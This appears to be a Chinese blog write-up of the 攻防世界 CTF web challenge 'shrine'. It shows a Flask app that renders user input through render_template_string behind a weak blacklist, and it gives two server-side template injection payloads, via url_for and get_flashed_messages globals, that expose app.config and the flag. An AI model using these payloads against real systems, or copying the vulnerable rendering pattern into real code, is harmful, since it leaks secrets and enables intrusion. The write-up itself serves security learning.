攻防世界-web shrine

代码分析:

import flask
import os
app = flask.Flask(__name__)
app.config['FLAG'] = os.environ.pop('FLAG') #flag的位置,需要查看的目标
@app.route('/')  #路由:解析url,访问/路径时就执行index()
def index():
    return open(__file__).read()   #读取文件
@app.route('/shrine/')
def shrine(shrine): #路由:解析url,访问/shrine/路径时就执行shrine(shrine)
    def safe_jinja(s):
        s = s.replace('(', '').replace(')', '')  #将传入的参数的( 和 )替换为空
        blacklist = ['config', 'self']  #黑名单列表
        return ''.join(['{{% set {}=None%}}'.format(c) for c in blacklist]) + s #把黑名单的东西遍历并设为空
    return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__': app.run(debug=True)

如果没有黑名单过滤可以直接使用{undefined{config}}查看所有app.config内容

知识点:

1.url_for()
url_for会根据传入的路由器函数名,返回该路由对应的URL,在模板中始终使用url_for()就可以安全的修改路由绑定的URL,则不比担心模板中渲染出错的链接

2.get_flashed_messages()
这个函数会返回之前在flask中通过flask()传入的消息的列表,flash函数的作用很简单,可以把由Python字符串表示的消息加入一个消息队列中,再使用get_flashed_message()函数取出它们并消费掉

方法一:使用url_for()

构造payload

http://111.200.241.244:51676/shrine/{{url_for.__globals__["current_app"].config}}

 方法二:使用get_flashed_messages()

构造payload

http://111.200.241.244:51676/shrine/{{get_flashed_messages.__globals__["current_app"].config}}

flag{shrine_is_good_ssti} 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

码啊码

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值